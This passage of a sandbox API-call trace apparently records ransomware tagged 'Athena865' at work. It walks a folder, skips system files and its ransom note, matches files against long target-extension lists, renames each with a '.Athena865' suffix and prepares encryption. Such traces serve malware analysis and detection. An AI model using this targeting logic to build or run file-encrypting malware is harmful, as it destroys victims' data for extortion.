Settings\\Default\\Recent\\CustomDestinations\\1b4dd67f29cb1962.customDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\default\\recent\\customdestinations\\1b4dd67f29cb1962.customdestinations-ms.athena865"), dwFlags=0x1) returned 1 [0103.627] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Recent\\CustomDestinations\\1b4dd67f29cb1962.customDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\default\\recent\\customdestinations\\1b4dd67f29cb1962.customdestinations-ms.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0103.627] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24) returned 1 [0103.627] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.627] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db10 [0103.627] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519998 [0103.628] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519888) returned 1 [0103.628] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.628] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.628] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x320, lpName=0x0) returned 0x154 [0103.631] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x320) returned 0x100000 [0103.631] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519888) returned 1 [0103.632] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.632] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da98 [0103.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da98 | out: hHeap=0x4f0000) returned 1 [0103.633] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52c9e0 [0103.633] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c9e0 | out: hHeap=0x4f0000) returned 1 [0103.633] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.633] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x547d40 [0103.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547d40 | out: hHeap=0x4f0000) returned 1 [0103.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.633] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.633] CloseHandle (hObject=0x154) returned 1 [0103.633] CloseHandle (hObject=0x17c) returned 1 [0103.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db10 | out: hHeap=0x4f0000) returned 1 [0103.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519998 | out: hHeap=0x4f0000) returned 1 [0103.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.634] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc67cc5, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x3c12, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5afe4de1b92fc382.customDestinations-ms", cAlternateFileName="5AFE4D~1.CUS")) returned 1 [0103.634] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.634] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.634] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2=".") returned 1 [0103.634] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2="..") returned 1 [0103.634] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2="windows") returned -1 [0103.634] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2="bootmgr") returned -1 [0103.634] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2="temp") returned -1 [0103.634] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2="pagefile.sys") returned -1 [0103.634] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2="boot") returned -1 [0103.634] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2="ids.txt") returned -1 [0103.634] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2="ntuser.dat") returned -1 [0103.634] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2="perflogs") returned -1 [0103.634] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2="MSBuild") returned -1 [0103.634] lstrlenW (lpString="5afe4de1b92fc382.customDestinations-ms") returned 38 [0103.634] lstrcpyW (in: lpString1=0x241e8c0, lpString2="5afe4de1b92fc382.customDestinations-ms" | out: lpString1="5afe4de1b92fc382.customDestinations-ms") returned="5afe4de1b92fc382.customDestinations-ms" [0103.634] lstrlenW (lpString="5afe4de1b92fc382.customDestinations-ms") returned 38 [0103.634] lstrlenW (lpString="Athena865") returned 9 [0103.634] lstrcmpiW (lpString1="ations-ms", lpString2="Athena865") returned 1 [0103.634] lstrlenW (lpString=".dll") returned 4 [0103.634] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2=".dll") returned 1 [0103.634] lstrlenW (lpString=".lnk") returned 4 [0103.635] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2=".lnk") returned 1 [0103.635] lstrlenW (lpString=".ini") returned 4 [0103.635] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2=".ini") returned 1 [0103.635] lstrlenW (lpString=".sys") returned 4 [0103.635] lstrcmpiW (lpString1="5afe4de1b92fc382.customDestinations-ms", lpString2=".sys") returned 1 [0103.635] lstrlenW (lpString="5afe4de1b92fc382.customDestinations-ms") returned 38 [0103.635] lstrlenW (lpString="bak") returned 3 [0103.635] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1 [0103.635] lstrlenW (lpString="ba_") returned 3 [0103.635] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1 [0103.635] lstrlenW (lpString="dbb") returned 3 [0103.635] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1 [0103.635] lstrlenW (lpString="vmdk") returned 4 [0103.635] lstrcmpiW (lpString1="s-ms", lpString2="vmdk") returned -1 [0103.635] lstrlenW (lpString="rar") returned 3 [0103.635] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1 [0103.635] lstrlenW (lpString="zip") returned 3 [0103.635] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1 [0103.635] lstrlenW (lpString="tgz") returned 3 [0103.635] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1 [0103.635] lstrlenW (lpString="vbox") returned 4 [0103.635] lstrcmpiW (lpString1="s-ms", lpString2="vbox") returned -1 [0103.635] lstrlenW (lpString="vdi") returned 3 [0103.635] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1 [0103.635] lstrlenW (lpString="vhd") returned 3 [0103.635] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1 [0103.635] lstrlenW (lpString="vhdx") returned 4 [0103.635] lstrcmpiW (lpString1="s-ms", lpString2="vhdx") returned -1 [0103.635] lstrlenW (lpString="avhd") returned 4 [0103.635] lstrcmpiW (lpString1="s-ms", lpString2="avhd") returned 1 [0103.635] lstrlenW (lpString="db") returned 2 [0103.635] lstrcmpiW (lpString1="ms", lpString2="db") returned 1 [0103.636] lstrlenW (lpString="db2") returned 3 [0103.636] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1 [0103.636] lstrlenW (lpString="db3") returned 3 [0103.636] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1 [0103.636] lstrlenW (lpString="dbf") returned 3 [0103.636] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1 [0103.636] lstrlenW (lpString="mdf") returned 3 [0103.636] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1 [0103.636] lstrlenW (lpString="mdb") returned 3 [0103.636] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1 [0103.636] lstrlenW (lpString="sql") returned 3 [0103.636] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1 [0103.636] lstrlenW (lpString="sqlite") returned 6 [0103.636] lstrcmpiW (lpString1="ons-ms", lpString2="sqlite") returned -1 [0103.636] lstrlenW (lpString="sqlite3") returned 7 [0103.636] lstrcmpiW (lpString1="ions-ms", lpString2="sqlite3") returned -1 [0103.636] lstrlenW (lpString="sqlitedb") returned 8 [0103.636] lstrcmpiW (lpString1="tions-ms", lpString2="sqlitedb") returned 1 [0103.636] lstrlenW (lpString="xml") returned 3 [0103.636] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1 [0103.636] lstrlenW (lpString="$er") returned 3 [0103.636] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1 [0103.636] lstrlenW (lpString="4dd") returned 3 [0103.636] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1 [0103.636] lstrlenW (lpString="4dl") returned 3 [0103.636] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1 [0103.636] lstrlenW (lpString="^^^") returned 3 [0103.636] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1 [0103.636] lstrlenW (lpString="abs") returned 3 [0103.636] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1 [0103.636] lstrlenW (lpString="abx") returned 3 [0103.636] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1 [0103.636] lstrlenW (lpString="accdb") returned 5 [0103.637] lstrcmpiW (lpString1="ns-ms", lpString2="accdb") returned 1 [0103.637] lstrlenW (lpString="accdc") returned 5 [0103.637] lstrcmpiW (lpString1="ns-ms", lpString2="accdc") returned 1 [0103.637] lstrlenW (lpString="accde") returned 5 [0103.637] lstrcmpiW (lpString1="ns-ms", lpString2="accde") returned 1 [0103.637] lstrlenW (lpString="accdr") returned 5 [0103.637] lstrcmpiW (lpString1="ns-ms", lpString2="accdr") returned 1 [0103.637] lstrlenW (lpString="accdt") returned 5 [0103.637] lstrcmpiW (lpString1="ns-ms", lpString2="accdt") returned 1 [0103.637] lstrlenW (lpString="accdw") returned 5 [0103.637] lstrcmpiW (lpString1="ns-ms", lpString2="accdw") returned 1 [0103.637] lstrlenW (lpString="accft") returned 5 [0103.637] lstrcmpiW (lpString1="ns-ms", lpString2="accft") returned 1 [0103.637] lstrlenW (lpString="adb") returned 3 [0103.637] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0103.637] lstrlenW (lpString="adb") returned 3 [0103.637] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0103.637] lstrlenW (lpString="ade") returned 3 [0103.637] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1 [0103.637] lstrlenW (lpString="adf") returned 3 [0103.637] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1 [0103.637] lstrlenW (lpString="adn") returned 3 [0103.637] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1 [0103.637] lstrlenW (lpString="adp") returned 3 [0103.637] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1 [0103.637] lstrlenW (lpString="alf") returned 3 [0103.637] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1 [0103.637] lstrlenW (lpString="ask") returned 3 [0103.637] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1 [0103.637] lstrlenW (lpString="btr") returned 3 [0103.637] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1 [0103.637] lstrlenW (lpString="cat") returned 3 [0103.637] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1 [0103.638] lstrlenW (lpString="cdb") returned 3 [0103.638] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1 [0103.638] lstrlenW (lpString="ckp") returned 3 [0103.638] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1 [0103.638] lstrlenW (lpString="cma") returned 3 [0103.638] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1 [0103.638] lstrlenW (lpString="cpd") returned 3 [0103.638] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1 [0103.638] lstrlenW (lpString="dacpac") returned 6 [0103.638] lstrcmpiW (lpString1="ons-ms", lpString2="dacpac") returned 1 [0103.638] lstrlenW (lpString="dad") returned 3 [0103.638] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1 [0103.638] lstrlenW (lpString="dadiagrams") returned 10 [0103.638] lstrcmpiW (lpString1="nations-ms", lpString2="dadiagrams") returned 1 [0103.638] lstrlenW (lpString="daschema") returned 8 [0103.638] lstrcmpiW (lpString1="tions-ms", lpString2="daschema") returned 1 [0103.638] lstrlenW (lpString="db-journal") returned 10 [0103.638] lstrcmpiW (lpString1="nations-ms", lpString2="db-journal") returned 1 [0103.638] lstrlenW (lpString="db-shm") returned 6 [0103.638] lstrcmpiW (lpString1="ons-ms", lpString2="db-shm") returned 1 [0103.638] lstrlenW (lpString="db-wal") returned 6 [0103.638] lstrcmpiW (lpString1="ons-ms", lpString2="db-wal") returned 1 [0103.638] lstrlenW (lpString="dbc") returned 3 [0103.638] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1 [0103.638] lstrlenW (lpString="dbs") returned 3 [0103.638] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1 [0103.638] lstrlenW (lpString="dbt") returned 3 [0103.638] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1 [0103.638] lstrlenW (lpString="dbv") returned 3 [0103.638] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1 [0103.638] lstrlenW (lpString="dbx") returned 3 [0103.638] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1 [0103.638] lstrlenW (lpString="dcb") returned 3 [0103.639] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1 [0103.639] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Recent\\CustomDestinations\\5afe4de1b92fc382.customDestinations-ms.Athena865") returned 108 [0103.639] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Recent\\CustomDestinations\\5afe4de1b92fc382.customDestinations-ms" (normalized: "c:\\documents and settings\\default\\recent\\customdestinations\\5afe4de1b92fc382.customdestinations-ms"), lpNewFileName="C:\\Documents and Settings\\Default\\Recent\\CustomDestinations\\5afe4de1b92fc382.customDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\default\\recent\\customdestinations\\5afe4de1b92fc382.customdestinations-ms.athena865"), dwFlags=0x1) returned 1 [0103.640] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Recent\\CustomDestinations\\5afe4de1b92fc382.customDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\default\\recent\\customdestinations\\5afe4de1b92fc382.customdestinations-ms.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0103.640] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15378) returned 1 [0103.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db10 [0103.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519998 [0103.640] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519888) returned 1 [0103.641] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.641] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.641] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f20, lpName=0x0) returned 0x154 [0103.643] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f20) returned 0x100000 [0103.644] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519888) returned 1 [0103.645] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.645] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da98 [0103.645] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da98 | out: hHeap=0x4f0000) returned 1 [0103.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52c9e0 [0103.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.645] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c9e0 | out: hHeap=0x4f0000) returned 1 [0103.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x547d40 [0103.645] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547d40 | out: hHeap=0x4f0000) returned 1 [0103.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.646] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.646] CloseHandle (hObject=0x154) returned 1 [0103.646] CloseHandle (hObject=0x17c) returned 1 [0103.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db10 | out: hHeap=0x4f0000) returned 1 [0103.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519998 | out: hHeap=0x4f0000) returned 1 [0103.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.646] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x15c7376, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7e4dca80246863e3.customDestinations-ms", cAlternateFileName="7E4DCA~1.CUS")) returned 1 [0103.646] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.646] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.646] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2=".") returned 1 [0103.646] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2="..") returned 1 [0103.646] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2="windows") returned -1 [0103.646] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2="bootmgr") returned -1 [0103.646] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2="temp") returned -1 [0103.646] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2="pagefile.sys") returned -1 [0103.646] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2="boot") returned -1 [0103.647] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2="ids.txt") returned -1 [0103.647] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2="ntuser.dat") returned -1 [0103.647] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2="perflogs") returned -1 [0103.647] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2="MSBuild") returned -1 [0103.647] lstrlenW (lpString="7e4dca80246863e3.customDestinations-ms") returned 38 [0103.647] lstrcpyW (in: lpString1=0x241e8c0, lpString2="7e4dca80246863e3.customDestinations-ms" | out: lpString1="7e4dca80246863e3.customDestinations-ms") returned="7e4dca80246863e3.customDestinations-ms" [0103.647] lstrlenW (lpString="7e4dca80246863e3.customDestinations-ms") returned 38 [0103.647] lstrlenW (lpString="Athena865") returned 9 [0103.647] lstrcmpiW (lpString1="ations-ms", lpString2="Athena865") returned 1 [0103.647] lstrlenW (lpString=".dll") returned 4 [0103.647] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2=".dll") returned 1 [0103.647] lstrlenW (lpString=".lnk") returned 4 [0103.647] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2=".lnk") returned 1 [0103.647] lstrlenW (lpString=".ini") returned 4 [0103.647] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2=".ini") returned 1 [0103.647] lstrlenW (lpString=".sys") returned 4 [0103.647] lstrcmpiW (lpString1="7e4dca80246863e3.customDestinations-ms", lpString2=".sys") returned 1 [0103.647] lstrlenW (lpString="7e4dca80246863e3.customDestinations-ms") returned 38 [0103.647] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms.Athena865") returned 108 [0103.647] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms" (normalized: "c:\\documents and settings\\default\\recent\\customdestinations\\7e4dca80246863e3.customdestinations-ms"), lpNewFileName="C:\\Documents and Settings\\Default\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\default\\recent\\customdestinations\\7e4dca80246863e3.customdestinations-ms.athena865"), dwFlags=0x1) returned 1 [0103.648] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\default\\recent\\customdestinations\\7e4dca80246863e3.customdestinations-ms.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0103.649] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24) returned 1 [0103.649] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.649] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db10 [0103.649] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519998 [0103.649] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519888) returned 1 [0103.650] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.650] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.650] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x320, lpName=0x0) returned 0x154 [0103.652] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x320) returned 0x100000 [0103.652] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519888) returned 1 [0103.653] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.653] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.653] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da98 [0103.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da98 | out: hHeap=0x4f0000) returned 1 [0103.653] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52c9e0 [0103.653] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c9e0 | out: hHeap=0x4f0000) returned 1 [0103.653] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x547d40 [0103.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547d40 | out: hHeap=0x4f0000) returned 1 [0103.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.654] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.654] CloseHandle (hObject=0x154) returned 1 [0103.654] CloseHandle (hObject=0x17c) returned 1 [0103.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db10 | out: hHeap=0x4f0000) returned 1 [0103.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519998 | out: hHeap=0x4f0000) returned 1 [0103.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.654] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b63b20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc7b63b20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.654] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.654] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b63b20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc7b63b20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR 